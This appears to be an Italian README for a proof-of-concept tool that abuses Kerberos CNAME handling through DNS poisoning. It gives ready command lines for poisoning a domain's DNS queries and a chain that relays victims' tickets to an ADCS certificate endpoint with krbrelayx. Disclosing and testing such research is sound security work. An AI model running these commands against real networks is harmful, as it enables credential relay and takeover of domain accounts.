
Abuso di CNAME in Kerberos PoC
Questo strumento è la proof-of-concept per la tecnica Relay di Abuso CNAME di Kerberos, basata sullo strumento MITM6.
La ricerca ha scoperto una falla nel comportamento del client Kerberos di Windows: quando viene restituito un record DNS CNAME, il client segue l'alias e costruisce la richiesta TGS utilizzando l'hostname CNAME come SPN. Ciò consente a un attaccante con posizione DNS MITM di costringere qualsiasi utente di dominio a richiedere un ticket Kerberos per un servizio scelto dall'attaccante, abilitando attacchi relay su richiesta e cross-protocollo contro SMB, HTTP e altri servizi dove la firma o il Channel Binding non sono applicati.
A differenza delle precedenti tecniche relay Kerberos che erano limitate agli account macchina o richiedevano condizioni specifiche, questo metodo funziona in modo affidabile contro account utente sulle configurazioni Windows predefinite. Microsoft ha mitigato il rischio applicando una patch per imporre CBT su https e abilitare la firma per impostazione predefinita per i protocolli interessati. La correzione è tracciata come CVE-2026-20929 Per dettagli tecnici completi, walkthrough di sfruttamento e analisi dell'impatto, consulta il post sul blog di Cymulate.
Usa --cname-source per colpire un dominio specifico che la vittima tenta di accedere, o per avvelenare ogni query DNS. Entrambi richiedono per specificare l'hostname di destinazione che sarà usato nella risposta CNAME (la vittima richiederà quindi un TGS per questo hostname).
--cname-source-all--cnameIl flag --only-dns disabilita il server DHCPv6 originale di mitm6 e la funzionalità Router Advertisement. Ciò consente di combinare l'avvelenamento CNAME con altre tecniche MITM come l'avvelenamento ARP.
L'opzione --passthrough accetta un file contenente domini che dovrebbero risolversi ai loro indirizzi IP reali (formato: dominio:ip per riga). Utile per mantenere la connettività a infrastrutture critiche come i Domain Controller (sperimentale).
pip install -r requirements.txt
Avvelena tutte le query DNS con un CNAME che punta al target del relay:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
Avvelena solo le query per un hostname specifico:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
Salta DHCPv6/RA quando si utilizza l'avvelenamento ARP per DNS MITM:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# Terminal 1: CNAME poisoning
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# Terminal 2: Relay to ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
Questo strumento è una PoC non di produzione fornita solo per scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Utilizzare a proprio rischio e solo contro sistemi per i quali si dispone di esplicita autorizzazione al test.
MIT